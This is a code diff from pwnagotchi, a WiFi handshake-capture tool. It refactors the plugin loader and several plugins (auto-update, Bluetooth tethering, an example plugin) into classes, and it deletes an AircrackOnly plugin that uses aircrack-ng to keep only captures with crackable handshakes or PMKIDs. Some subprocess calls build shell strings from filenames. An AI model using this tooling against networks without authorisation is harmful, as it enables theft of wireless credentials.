@@ -46,19 +49,15 @@ def load_from_file(filename):
|
||||
|
||||
def load_from_path(path, enabled=()):
|
||||
global loaded
|
||||
logging.debug("loading plugins from %s - enabled: %s" % (path, enabled))
|
||||
for filename in glob.glob(os.path.join(path, "*.py")):
|
||||
try:
|
||||
name, plugin = load_from_file(filename)
|
||||
if name in loaded:
|
||||
raise Exception("plugin %s already loaded from %s" % (name, plugin.__file__))
|
||||
elif name not in enabled:
|
||||
# print("plugin %s is not enabled" % name)
|
||||
pass
|
||||
else:
|
||||
loaded[name] = plugin
|
||||
except Exception as e:
|
||||
logging.warning("error while loading %s: %s" % (filename, e))
|
||||
logging.debug(e, exc_info=True)
|
||||
plugin_name = os.path.basename(filename.replace(".py", ""))
|
||||
if plugin_name in enabled:
|
||||
try:
|
||||
load_from_file(filename)
|
||||
except Exception as e:
|
||||
logging.warning("error while loading %s: %s" % (filename, e))
|
||||
logging.debug(e, exc_info=True)
|
||||
|
||||
return loaded
|
||||
|
||||
@@ -66,17 +65,17 @@ def load_from_path(path, enabled=()):
|
||||
def load(config):
|
||||
enabled = [name for name, options in config['main']['plugins'].items() if
|
||||
'enabled' in options and options['enabled']]
|
||||
custom_path = config['main']['custom_plugins'] if 'custom_plugins' in config['main'] else None
|
||||
|
||||
# load default plugins
|
||||
loaded = load_from_path(default_path, enabled=enabled)
|
||||
# set the options
|
||||
for name, plugin in loaded.items():
|
||||
plugin.__dict__['OPTIONS'] = config['main']['plugins'][name]
|
||||
load_from_path(default_path, enabled=enabled)
|
||||
|
||||
# load custom ones
|
||||
custom_path = config['main']['custom_plugins'] if 'custom_plugins' in config['main'] else None
|
||||
if custom_path is not None:
|
||||
loaded = load_from_path(custom_path, enabled=enabled)
|
||||
# set the options
|
||||
for name, plugin in loaded.items():
|
||||
plugin.__dict__['OPTIONS'] = config['main']['plugins'][name]
|
||||
load_from_path(custom_path, enabled=enabled)
|
||||
|
||||
# propagate options
|
||||
for name, plugin in loaded.items():
|
||||
plugin.options = config['main']['plugins'][name]
|
||||
|
||||
on('loaded')
|
||||
|
@@ -1,56 +0,0 @@
|
||||
__author__ = 'pwnagotchi [at] rossmarks [dot] uk'
|
||||
__version__ = '1.0.1'
|
||||
__name__ = 'AircrackOnly'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'confirm pcap contains handshake/PMKID or delete it'
|
||||
|
||||
'''
|
||||
Aircrack-ng needed, to install:
|
||||
> apt-get install aircrack-ng
|
||||
'''
|
||||
|
||||
import logging
|
||||
import subprocess
|
||||
import string
|
||||
import os
|
||||
|
||||
OPTIONS = dict()
|
||||
|
||||
def on_loaded():
|
||||
logging.info("aircrackonly plugin loaded")
|
||||
|
||||
def on_handshake(agent, filename, access_point, client_station):
|
||||
display = agent._view
|
||||
todelete = 0
|
||||
|
||||
result = subprocess.run(('/usr/bin/aircrack-ng '+ filename +' | grep "1 handshake" | awk \'{print $2}\''),shell=True, stdout=subprocess.PIPE)
|
||||
result = result.stdout.decode('utf-8').translate({ord(c) :None for c in string.whitespace})
|
||||
if result:
|
||||
logging.info("[AircrackOnly] contains handshake")
|
||||
else:
|
||||
todelete = 1
|
||||
|
||||
if todelete == 0:
|
||||
result = subprocess.run(('/usr/bin/aircrack-ng '+ filename +' | grep "PMKID" | awk \'{print $2}\''),shell=True, stdout=subprocess.PIPE)
|
||||
result = result.stdout.decode('utf-8').translate({ord(c) :None for c in string.whitespace})
|
||||
if result:
|
||||
logging.info("[AircrackOnly] contains PMKID")
|
||||
else:
|
||||
todelete = 1
|
||||
|
||||
if todelete == 1:
|
||||
os.remove(filename)
|
||||
set_text("Removed an uncrackable pcap")
|
||||
display.update(force=True)
|
||||
|
||||
text_to_set = "";
|
||||
def set_text(text):
|
||||
global text_to_set
|
||||
text_to_set = text
|
||||
|
||||
def on_ui_update(ui):
|
||||
global text_to_set
|
||||
if text_to_set:
|
||||
ui.set('face', "(>.<)")
|
||||
ui.set('status', text_to_set)
|
||||
text_to_set = ""
|
@@ -1,69 +0,0 @@
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'auto-backup'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin backups files when internet is available.'
|
||||
|
||||
from pwnagotchi.utils import StatusFile
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
OPTIONS = dict()
|
||||
READY = False
|
||||
STATUS = StatusFile('/root/.auto-backup')
|
||||
|
||||
|
||||
def on_loaded():
|
||||
global READY
|
||||
|
||||
if 'files' not in OPTIONS or ('files' in OPTIONS and OPTIONS['files'] is None):
|
||||
logging.error("AUTO-BACKUP: No files to backup.")
|
||||
return
|
||||
|
||||
if 'interval' not in OPTIONS or ('interval' in OPTIONS and OPTIONS['interval'] is None):
|
||||
logging.error("AUTO-BACKUP: Interval is not set.")
|
||||
return
|
||||
|
||||
if 'commands' not in OPTIONS or ('commands' in OPTIONS and OPTIONS['commands'] is None):
|
||||
logging.error("AUTO-BACKUP: No commands given.")
|
||||
return
|
||||
|
||||
READY = True
|
||||
logging.info("AUTO-BACKUP: Successfully loaded.")
|
||||
|
||||
|
||||
def on_internet_available(agent):
|
||||
global STATUS
|
||||
|
||||
if READY:
|
||||
if STATUS.newer_then_days(OPTIONS['interval']):
|
||||
return
|
||||
|
||||
# Only backup existing files to prevent errors
|
||||
existing_files = list(filter(lambda f: os.path.exists(f), OPTIONS['files']))
|
||||
files_to_backup = " ".join(existing_files)
|
||||
|
||||
try:
|
||||
display = agent.view()
|
||||
|
||||
logging.info("AUTO-BACKUP: Backing up ...")
|
||||
display.set('status', 'Backing up ...')
|
||||
display.update()
|
||||
|
||||
for cmd in OPTIONS['commands']:
|
||||
logging.info(f"AUTO-BACKUP: Running {cmd.format(files=files_to_backup)}")
|
||||
process = subprocess.Popen(cmd.format(files=files_to_backup), shell=True, stdin=None,
|
||||
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
process.wait()
|
||||
if process.returncode > 0:
|
||||
raise OSError(f"Command failed (rc: {process.returncode})")
|
||||
|
||||
logging.info("AUTO-BACKUP: backup done")
|
||||
display.set('status', 'Backup done!')
|
||||
display.update()
|
||||
STATUS.update()
|
||||
except OSError as os_e:
|
||||
logging.info(f"AUTO-BACKUP: Error: {os_e}")
|
||||
display.set('status', 'Backup failed!')
|
||||
display.update()
|
@@ -1,9 +1,3 @@
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.1.1'
|
||||
__name__ = 'auto-update'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin checks when updates are available and applies them when internet is available.'
|
||||
|
||||
import os
|
||||
import re
|
||||
import logging
|
||||
@@ -15,21 +9,9 @@ import glob
|
||||
import pkg_resources
|
||||
|
||||
import pwnagotchi
|
||||
import pwnagotchi.plugins as plugins
|
||||
from pwnagotchi.utils import StatusFile
|
||||
|
||||
OPTIONS = dict()
|
||||
READY = False
|
||||
STATUS = StatusFile('/root/.auto-update')
|
||||
|
||||
|
||||
def on_loaded():
|
||||
global READY
|
||||
if 'interval' not in OPTIONS or ('interval' in OPTIONS and OPTIONS['interval'] is None):
|
||||
logging.error("[update] main.plugins.auto-update.interval is not set")
|
||||
return
|
||||
READY = True
|
||||
logging.info("[update] plugin loaded.")
|
||||
|
||||
|
||||
def check(version, repo, native=True):
|
||||
logging.debug("checking remote version for %s, local is %s" % (repo, version))
|
||||
@@ -158,14 +140,32 @@ def parse_version(cmd):
|
||||
raise Exception('could not parse version from "%s": output=\n%s' % (cmd, out))
|
||||
|
||||
|
||||
def on_internet_available(agent):
|
||||
global STATUS
|
||||
class AutoUpdate(plugins.Plugin):
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.1.1'
|
||||
__name__ = 'auto-update'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin checks when updates are available and applies them when internet is available.'
|
||||
|
||||
logging.debug("[update] internet connectivity is available (ready %s)" % READY)
|
||||
def __init__(self):
|
||||
self.ready = False
|
||||
self.status = StatusFile('/root/.auto-update')
|
||||
|
||||
if READY:
|
||||
if STATUS.newer_then_hours(OPTIONS['interval']):
|
||||
logging.debug("[update] last check happened less than %d hours ago" % OPTIONS['interval'])
|
||||
def on_loaded(self):
|
||||
if 'interval' not in self.options or ('interval' in self.options and self.options['interval'] is None):
|
||||
logging.error("[update] main.plugins.auto-update.interval is not set")
|
||||
return
|
||||
self.ready = True
|
||||
logging.info("[update] plugin loaded.")
|
||||
|
||||
def on_internet_available(self, agent):
|
||||
logging.debug("[update] internet connectivity is available (ready %s)" % self.ready)
|
||||
|
||||
if not self.ready:
|
||||
return
|
||||
|
||||
if self.status.newer_then_hours(self.options['interval']):
|
||||
logging.debug("[update] last check happened less than %d hours ago" % self.options['interval'])
|
||||
return
|
||||
|
||||
logging.info("[update] checking for updates ...")
|
||||
@@ -187,7 +187,8 @@ def on_internet_available(agent):
|
||||
info = check(local_version, repo, is_native)
|
||||
if info['url'] is not None:
|
||||
logging.warning(
|
||||
"update for %s available (local version is '%s'): %s" % (repo, info['current'], info['url']))
|
||||
"update for %s available (local version is '%s'): %s" % (
|
||||
repo, info['current'], info['url']))
|
||||
info['service'] = svc_name
|
||||
to_install.append(info)
|
||||
|
||||
@@ -195,8 +196,9 @@ def on_internet_available(agent):
|
||||
num_installed = 0
|
||||
|
||||
if num_updates > 0:
|
||||
if OPTIONS['install']:
|
||||
if self.options['install']:
|
||||
for update in to_install:
|
||||
plugins.on('updating')
|
||||
if install(display, update):
|
||||
num_installed += 1
|
||||
else:
|
||||
@@ -204,7 +206,7 @@ def on_internet_available(agent):
|
||||
|
||||
logging.info("[update] done")
|
||||
|
||||
STATUS.update()
|
||||
self.status.update()
|
||||
|
||||
if num_installed > 0:
|
||||
display.update(force=True, new_data={'status': 'Rebooting ...'})
|
||||
|
@@ -1,24 +1,16 @@
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'bt-tether'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This makes the display reachable over bluetooth'
|
||||
|
||||
import os
|
||||
import time
|
||||
import re
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import dbus
|
||||
|
||||
import pwnagotchi.plugins as plugins
|
||||
import pwnagotchi.ui.fonts as fonts
|
||||
from pwnagotchi.ui.components import LabeledValue
|
||||
from pwnagotchi.ui.view import BLACK
|
||||
import pwnagotchi.ui.fonts as fonts
|
||||
from pwnagotchi.utils import StatusFile
|
||||
|
||||
READY = False
|
||||
INTERVAL = StatusFile('/root/.bt-tether')
|
||||
OPTIONS = dict()
|
||||
|
||||
|
||||
class BTError(Exception):
|
||||
"""
|
||||
@@ -26,6 +18,7 @@ class BTError(Exception):
|
||||
"""
|
||||
pass
|
||||
|
||||
|
||||
class BTNap:
|
||||
"""
|
||||
This class creates a bluetooth connection to the specified bt-mac
|
||||
@@ -41,7 +34,6 @@ class BTNap:
|
||||
def __init__(self, mac):
|
||||
self._mac = mac
|
||||
|
||||
|
||||
@staticmethod
|
||||
def get_bus():
|
||||
"""
|
||||
@@ -59,9 +51,9 @@ class BTNap:
|
||||
"""
|
||||
manager = getattr(BTNap.get_manager, 'cached_obj', None)
|
||||
if not manager:
|
||||
manager = BTNap.get_manager.cached_obj = dbus.Interface(
|
||||
BTNap.get_bus().get_object(BTNap.IFACE_BASE, '/'),
|
||||
'org.freedesktop.DBus.ObjectManager' )
|
||||
manager = BTNap.get_manager.cached_obj = dbus.Interface(
|
||||
BTNap.get_bus().get_object(BTNap.IFACE_BASE, '/'),
|
||||
'org.freedesktop.DBus.ObjectManager')
|
||||
return manager
|
||||
|
||||
@staticmethod
|
||||
@@ -82,7 +74,6 @@ class BTNap:
|
||||
iface = obj.dbus_interface
|
||||
return obj.Set(iface, k, v, dbus_interface=BTNap.IFACE_PROPS)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def find_adapter(pattern=None):
|
||||
"""
|
||||
@@ -98,14 +89,14 @@ class BTNap:
|
||||
"""
|
||||
bus, obj = BTNap.get_bus(), None
|
||||
for path, ifaces in objects.items():
|
||||
adapter = ifaces.get(BTNap.IFACE_ADAPTER)
|
||||
if adapter is None:
|
||||
continue
|
||||
if not pattern or pattern == adapter['Address'] or path.endswith(pattern):
|
||||
obj = bus.get_object(BTNap.IFACE_BASE, path)
|
||||
yield dbus.Interface(obj, BTNap.IFACE_ADAPTER)
|
||||
adapter = ifaces.get(BTNap.IFACE_ADAPTER)
|
||||
if adapter is None:
|
||||
continue
|
||||
if not pattern or pattern == adapter['Address'] or path.endswith(pattern):
|
||||
obj = bus.get_object(BTNap.IFACE_BASE, path)
|
||||
yield dbus.Interface(obj, BTNap.IFACE_ADAPTER)
|
||||
if obj is None:
|
||||
raise BTError('Bluetooth adapter not found')
|
||||
raise BTError('Bluetooth adapter not found')
|
||||
|
||||
@staticmethod
|
||||
def find_device(device_address, adapter_pattern=None):
|
||||
@@ -132,7 +123,7 @@ class BTNap:
|
||||
device = ifaces.get(BTNap.IFACE_DEV)
|
||||
if device is None:
|
||||
continue
|
||||
if str(device['Address']) == device_address and path.startswith(path_prefix):
|
||||
if str(device['Address']).lower() == device_address.lower() and path.startswith(path_prefix):
|
||||
obj = bus.get_object(BTNap.IFACE_BASE, path)
|
||||
return dbus.Interface(obj, BTNap.IFACE_DEV)
|
||||
raise BTError('Bluetooth device not found')
|
||||
@@ -159,25 +150,6 @@ class BTNap:
|
||||
|
||||
return None
|
||||
|
||||
def is_connected(self):
|
||||
"""
|
||||
Check if already connected
|
||||
"""
|
||||
logging.debug("BT-TETHER: Checking if device is connected.")
|
||||
|
||||
bt_dev = self.power(True)
|
||||
|
||||
if not bt_dev:
|
||||
logging.debug("BT-TETHER: No bluetooth device found.")
|
||||
return None, False
|
||||
|
||||
try:
|
||||
dev_remote = BTNap.find_device(self._mac, bt_dev)
|
||||
return dev_remote, bool(BTNap.prop_get(dev_remote, 'Connected'))
|
||||
except BTError:
|
||||
logging.debug("BT-TETHER: Device is not connected.")
|
||||
return None, False
|
||||
|
||||
|
||||
def is_paired(self):
|
||||
"""
|
||||
@@ -198,7 +170,6 @@ class BTNap:
|
||||
logging.debug("BT-TETHER: Device is not paired.")
|
||||
return False
|
||||
|
||||
|
||||
def wait_for_device(self, timeout=15):
|
||||
"""
|
||||
Wait for device
|
||||
@@ -227,7 +198,7 @@ class BTNap:
|
||||
try:
|
||||
dev_remote = BTNap.find_device(self._mac, bt_dev)
|
||||
logging.debug("BT-TETHER: Using remote device (addr: %s): %s",
|
||||
BTNap.prop_get(dev_remote, 'Address'), dev_remote.object_path )
|
||||
BTNap.prop_get(dev_remote, 'Address'), dev_remote.object_path)
|
||||
break
|
||||
except BTError:
|
||||
logging.debug("BT-TETHER: Not found yet ...")
|
||||
@@ -249,7 +220,7 @@ class BTNap:
|
||||
logging.debug('BT-TETHER: Trying to pair ...')
|
||||
try:
|
||||
device.Pair()
|
||||
logging.info('BT-TETHER: Successful paired with device ;)')
|
||||
logging.debug('BT-TETHER: Successful paired with device ;)')
|
||||
return True
|
||||
except dbus.exceptions.DBusException as err:
|
||||
if err.get_dbus_name() == 'org.bluez.Error.AlreadyExists':
|
||||
@@ -259,7 +230,6 @@ class BTNap:
|
||||
pass
|
||||
return False
|
||||
|
||||
|
||||
@staticmethod
|
||||
def nap(device):
|
||||
logging.debug('BT-TETHER: Trying to nap ...')
|
||||
@@ -267,7 +237,7 @@ class BTNap:
|
||||
try:
|
||||
logging.debug('BT-TETHER: Connecting to profile ...')
|
||||
device.ConnectProfile('nap')
|
||||
except Exception: # raises exception, but still works
|
||||
except Exception: # raises exception, but still works
|
||||
pass
|
||||
|
||||
net = dbus.Interface(device, 'org.bluez.Network1')
|
||||
@@ -275,15 +245,15 @@ class BTNap:
|
||||
try:
|
||||
logging.debug('BT-TETHER: Connecting to nap network ...')
|
||||
net.Connect('nap')
|
||||
return True
|
||||
return net, True
|
||||
except dbus.exceptions.DBusException as err:
|
||||
if err.get_dbus_name() == 'org.bluez.Error.AlreadyConnected':
|
||||
return True
|
||||
return net, True
|
||||
|
||||
connected = BTNap.prop_get(net, 'Connected')
|
||||
if not connected:
|
||||
return False
|
||||
return True
|
||||
return None, False
|
||||
return net, True
|
||||
|
||||
|
||||
class SystemdUnitWrapper:
|
||||
@@ -297,7 +267,7 @@ class SystemdUnitWrapper:
|
||||
@staticmethod
|
||||
def _action_on_unit(action, unit):
|
||||
process = subprocess.Popen(f"systemctl {action} {unit}", shell=True, stdin=None,
|
||||
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
process.wait()
|
||||
if process.returncode > 0:
|
||||
return False
|
||||
@@ -309,7 +279,7 @@ class SystemdUnitWrapper:
|
||||
Calls systemctl daemon-reload
|
||||
"""
|
||||
process = subprocess.Popen("systemctl daemon-reload", shell=True, stdin=None,
|
||||
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
process.wait()
|
||||
if process.returncode > 0:
|
||||
return False
|
||||
@@ -387,24 +357,23 @@ class IfaceWrapper:
|
||||
"""
|
||||
return open(f"{self.path}/operstate", 'r').read().rsplit('\n') == 'up'
|
||||
|
||||
|
||||
def set_addr(self, addr):
|
||||
"""
|
||||
Set the netmask
|
||||
"""
|
||||
process = subprocess.Popen(f"ip addr add {addr} dev {self.iface}", shell=True, stdin=None,
|
||||
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
process.wait()
|
||||
|
||||
if process.returncode == 2 or process.returncode == 0: # 2 = already set
|
||||
if process.returncode == 2 or process.returncode == 0: # 2 = already set
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def set_route(addr):
|
||||
process = subprocess.Popen(f"ip route replace default via {addr}", shell=True, stdin=None,
|
||||
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
def set_route(gateway, device):
|
||||
process = subprocess.Popen(f"ip route replace default via {gateway} dev {device}", shell=True, stdin=None,
|
||||
stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash")
|
||||
process.wait()
|
||||
|
||||
if process.returncode > 0:
|
||||
@@ -413,122 +382,194 @@ class IfaceWrapper:
|
||||
return True
|
||||
|
||||
|
||||
class Device:
|
||||
def __init__(self, name, share_internet, mac, ip, netmask, interval, gateway=None, priority=10, scantime=15, search_order=0, max_tries=0, **kwargs):
|
||||
self.name = name
|
||||
self.status = StatusFile(f'/root/.bt-tether-{name}')
|
||||
self.status.update()
|
||||
self.tries = 0
|
||||
self.network = None
|
||||
|
||||
def on_loaded():
|
||||
"""
|
||||
Gets called when the plugin gets loaded
|
||||
"""
|
||||
global READY
|
||||
global INTERVAL
|
||||
self.max_tries = max_tries
|
||||
self.search_order = search_order
|
||||
self.share_internet = share_internet
|
||||
self.ip = ip
|
||||
self.netmask = netmask
|
||||
self.gateway = gateway
|
||||
self.interval = interval
|
||||
self.mac = mac
|
||||
self.scantime = scantime
|
||||
self.priority = priority
|
||||
|
||||
for opt in ['share_internet', 'mac', 'ip', 'netmask', 'interval']:
|
||||
if opt not in OPTIONS or (opt in OPTIONS and OPTIONS[opt] is None):
|
||||
logging.error("BT-TET: Please specify the %s in your config.yml.", opt)
|
||||
def connected(self):
|
||||
"""
|
||||
Checks if device is connected
|
||||
"""
|
||||
return self.network and BTNap.prop_get(self.network, 'Connected')
|
||||
|
||||
def interface(self):
|
||||
"""
|
||||
Returns the interface name or None
|
||||
"""
|
||||
if not self.connected():
|
||||
return None
|
||||
return BTNap.prop_get(self.network, 'Interface')
|
||||
|
||||
|
||||
class BTTether(plugins.Plugin):
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '1.0.0'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This makes the display reachable over bluetooth'
|
||||
|
||||
def __init__(self):
|
||||
self.ready = False
|
||||
self.options = dict()
|
||||
self.devices = dict()
|
||||
|
||||
def on_loaded(self):
|
||||
# new config
|
||||
if 'devices' in self.options:
|
||||
for device, options in self.options['devices'].items():
|
||||
if 'enabled' in options and options['enabled']:
|
||||
for device_opt in ['enabled', 'priority', 'scantime', 'search_order',
|
||||
'max_tries', 'share_internet', 'mac', 'ip',
|
||||
'netmask', 'interval']:
|
||||
if device_opt not in options or (device_opt in options and options[device_opt] is None):
|
||||
logging.error("BT-TETHER: Please specify the %s for device %s.",
|
||||
device_opt, device)
|
||||
break
|
||||
else:
|
||||
if options['enabled']:
|
||||
self.devices[device] = Device(name=device, **options)
|
||||
|
||||
# legacy
|
||||
if 'mac' in self.options:
|
||||
for opt in ['share_internet', 'mac', 'ip', 'netmask', 'interval']:
|
||||
if opt not in self.options or (opt in self.options and self.options[opt] is None):
|
||||
logging.error("BT-TETHER: Please specify the %s in your config.yml.", opt)
|
||||
return
|
||||
|
||||
self.devices['legacy'] = Device(name='legacy', **self.options)
|
||||
|
||||
if not self.devices:
|
||||
logging.error("BT-TETHER: No valid devices found")
|
||||
return
|
||||
|
||||
# ensure bluetooth is running
|
||||
bt_unit = SystemdUnitWrapper('bluetooth.service')
|
||||
if not bt_unit.is_active():
|
||||
if not bt_unit.start():
|
||||
logging.error("BT-TET: Can't start bluetooth.service")
|
||||
# ensure bluetooth is running
|
||||
bt_unit = SystemdUnitWrapper('bluetooth.service')
|
||||
if not bt_unit.is_active():
|
||||
if not bt_unit.start():
|
||||
logging.error("BT-TETHER: Can't start bluetooth.service")
|
||||
return
|
||||
|
||||
logging.info("BT-TETHER: Successfully loaded ...")
|
||||
self.ready = True
|
||||
|
||||
def on_ui_setup(self, ui):
|
||||
ui.add_element('bluetooth', LabeledValue(color=BLACK, label='BT', value='-', position=(ui.width() / 2 - 15, 0),
|
||||
label_font=fonts.Bold, text_font=fonts.Medium))
|
||||
|
||||
def on_ui_update(self, ui):
|
||||
if not self.ready:
|
||||
return
|
||||
|
||||
INTERVAL.update()
|
||||
READY = True
|
||||
devices_to_try = list()
|
||||
connected_priorities = list()
|
||||
any_device_connected = False # if this is true, last status on screen should be C
|
||||
|
||||
for _, device in self.devices.items():
|
||||
if device.connected():
|
||||
connected_priorities.append(device.priority)
|
||||
any_device_connected = True
|
||||
continue
|
||||
|
||||
def on_ui_update(ui):
|
||||
"""
|
||||
Try to connect to device
|
||||
"""
|
||||
if not device.max_tries or (device.max_tries > device.tries):
|
||||
if not device.status.newer_then_minutes(device.interval):
|
||||
devices_to_try.append(device)
|
||||
device.status.update()
|
||||
device.tries += 1
|
||||
|
||||
if READY:
|
||||
global INTERVAL
|
||||
if INTERVAL.newer_then_minutes(OPTIONS['interval']):
|
||||
return
|
||||
sorted_devices = sorted(devices_to_try, key=lambda x: x.search_order)
|
||||
|
||||
INTERVAL.update()
|
||||
for device in sorted_devices:
|
||||
bt = BTNap(device.mac)
|
||||
|
||||
bt = BTNap(OPTIONS['mac'])
|
||||
|
||||
logging.debug('BT-TETHER: Check if already connected and paired')
|
||||
dev_remote, connected = bt.is_connected()
|
||||
|
||||
if connected:
|
||||
logging.debug('BT-TETHER: Already connected.')
|
||||
ui.set('bluetooth', 'C')
|
||||
return
|
||||
|
||||
try:
|
||||
logging.info('BT-TETHER: Search device ...')
|
||||
dev_remote = bt.wait_for_device()
|
||||
if dev_remote is None:
|
||||
logging.info('BT-TETHER: Could not find device.')
|
||||
try:
|
||||
logging.debug('BT-TETHER: Search %d secs for %s ...', device.scantime, device.name)
|
||||
dev_remote = bt.wait_for_device(timeout=device.scantime)
|
||||
if dev_remote is None:
|
||||
logging.debug('BT-TETHER: Could not find %s, try again in %d minutes.', device.name, device.interval)
|
||||
ui.set('bluetooth', 'NF')
|
||||
continue
|
||||
except Exception as bt_ex:
|
||||
logging.error(bt_ex)
|
||||
ui.set('bluetooth', 'NF')
|
||||
return
|
||||
except Exception as bt_ex:
|
||||
logging.error(bt_ex)
|
||||
ui.set('bluetooth', 'NF')
|
||||
return
|
||||
continue
|
||||
|
||||
paired = bt.is_paired()
|
||||
if not paired:
|
||||
if BTNap.pair(dev_remote):
|
||||
logging.info('BT-TETHER: Paired with device.')
|
||||
paired = bt.is_paired()
|
||||
if not paired:
|
||||
if BTNap.pair(dev_remote):
|
||||
logging.debug('BT-TETHER: Paired with %s.', device.name)
|
||||
else:
|
||||
logging.debug('BT-TETHER: Pairing with %s failed ...', device.name)
|
||||
ui.set('bluetooth', 'PE')
|
||||
continue
|
||||
else:
|
||||
logging.info('BT-TETHER: Pairing failed ...')
|
||||
ui.set('bluetooth', 'PE')
|
||||
return
|
||||
else:
|
||||
logging.debug('BT-TETHER: Already paired.')
|
||||
logging.debug('BT-TETHER: Already paired.')
|
||||
|
||||
|
||||
btnap_iface = IfaceWrapper('bnep0')
|
||||
logging.debug('BT-TETHER: Check interface')
|
||||
if not btnap_iface.exists():
|
||||
# connected and paired but not napping
|
||||
logging.debug('BT-TETHER: Try to connect to nap ...')
|
||||
if BTNap.nap(dev_remote):
|
||||
logging.info('BT-TETHER: Napping!')
|
||||
logging.debug('BT-TETHER: Try to create nap connection with %s ...', device.name)
|
||||
device.network, success = BTNap.nap(dev_remote)
|
||||
interface = None
|
||||
|
||||
if success:
|
||||
try:
|
||||
interface = device.interface()
|
||||
except Exception:
|
||||
logging.debug('BT-TETHER: Could not establish nap connection with %s', device.name)
|
||||
continue
|
||||
|
||||
if interface is None:
|
||||
ui.set('bluetooth', 'BE')
|
||||
logging.debug('BT-TETHER: Could not establish nap connection with %s', device.name)
|
||||
continue
|
||||
|
||||
logging.debug('BT-TETHER: Created interface (%s)', interface)
|
||||
ui.set('bluetooth', 'C')
|
||||
time.sleep(5)
|
||||
any_device_connected = True
|
||||
device.tries = 0 # reset tries
|
||||
else:
|
||||
logging.info('BT-TETHER: Napping failed ...')
|
||||
logging.debug('BT-TETHER: Could not establish nap connection with %s', device.name)
|
||||
ui.set('bluetooth', 'NF')
|
||||
return
|
||||
continue
|
||||
|
||||
if btnap_iface.exists():
|
||||
logging.debug('BT-TETHER: Interface found')
|
||||
addr = f"{device.ip}/{device.netmask}"
|
||||
if device.gateway:
|
||||
gateway = device.gateway
|
||||
else:
|
||||
gateway = ".".join(device.ip.split('.')[:-1] + ['1'])
|
||||
|
||||
# check ip
|
||||
addr = f"{OPTIONS['ip']}/{OPTIONS['netmask']}"
|
||||
|
||||
logging.debug('BT-TETHER: Try to set ADDR to interface')
|
||||
if not btnap_iface.set_addr(addr):
|
||||
wrapped_interface = IfaceWrapper(interface)
|
||||
logging.debug('BT-TETHER: Add ip to %s', interface)
|
||||
if not wrapped_interface.set_addr(addr):
|
||||
ui.set('bluetooth', 'AE')
|
||||
logging.error("BT-TETHER: Could not set ip of bnep0 to %s", addr)
|
||||
return
|
||||
logging.debug("BT-TETHER: Could not add ip to %s", interface)
|
||||
continue
|
||||
|
||||
logging.debug('BT-TETHER: Set ADDR to interface')
|
||||
if device.share_internet:
|
||||
if not connected_priorities or device.priority > max(connected_priorities):
|
||||
logging.debug('BT-TETHER: Set default route to %s via %s', gateway, interface)
|
||||
IfaceWrapper.set_route(gateway, interface)
|
||||
connected_priorities.append(device.priority)
|
||||
|
||||
# change route if sharking
|
||||
if OPTIONS['share_internet']:
|
||||
logging.debug('BT-TETHER: Set routing and change resolv.conf')
|
||||
IfaceWrapper.set_route(".".join(OPTIONS['ip'].split('.')[:-1] + ['1'])) # im not proud about that
|
||||
# fix resolv.conf; dns over https ftw!
|
||||
with open('/etc/resolv.conf', 'r+') as resolv:
|
||||
nameserver = resolv.read()
|
||||
if 'nameserver 9.9.9.9' not in nameserver:
|
||||
logging.info('BT-TETHER: Added nameserver')
|
||||
resolv.seek(0)
|
||||
resolv.write(nameserver + 'nameserver 9.9.9.9\n')
|
||||
logging.debug('BT-TETHER: Change resolv.conf if necessary ...')
|
||||
with open('/etc/resolv.conf', 'r+') as resolv:
|
||||
nameserver = resolv.read()
|
||||
if 'nameserver 9.9.9.9' not in nameserver:
|
||||
logging.debug('BT-TETHER: Added nameserver')
|
||||
resolv.seek(0)
|
||||
resolv.write(nameserver + 'nameserver 9.9.9.9\n')
|
||||
|
||||
if any_device_connected:
|
||||
ui.set('bluetooth', 'C')
|
||||
else:
|
||||
logging.error('BT-TETHER: bnep0 not found')
|
||||
ui.set('bluetooth', 'BE')
|
||||
|
||||
|
||||
def on_ui_setup(ui):
|
||||
ui.add_element('bluetooth', LabeledValue(color=BLACK, label='BT', value='-', position=(ui.width() / 2 - 15, 0),
|
||||
label_font=fonts.Bold, text_font=fonts.Medium))
|
||||
|
@@ -1,182 +1,148 @@
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.0.0'
|
||||
__name__ = 'hello_world'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'An example plugin for pwnagotchi that implements all the available callbacks.'
|
||||
|
||||
import logging
|
||||
|
||||
import pwnagotchi.plugins as plugins
|
||||
from pwnagotchi.ui.components import LabeledValue
|
||||
from pwnagotchi.ui.view import BLACK
|
||||
import pwnagotchi.ui.fonts as fonts
|
||||
|
||||
|
||||
# Will be set with the options in config.yml config['main']['plugins'][__name__]
|
||||
OPTIONS = dict()
|
||||
class Example(plugins.Plugin):
|
||||
__author__ = 'evilsocket@gmail.com'
|
||||
__version__ = '1.0.0'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'An example plugin for pwnagotchi that implements all the available callbacks.'
|
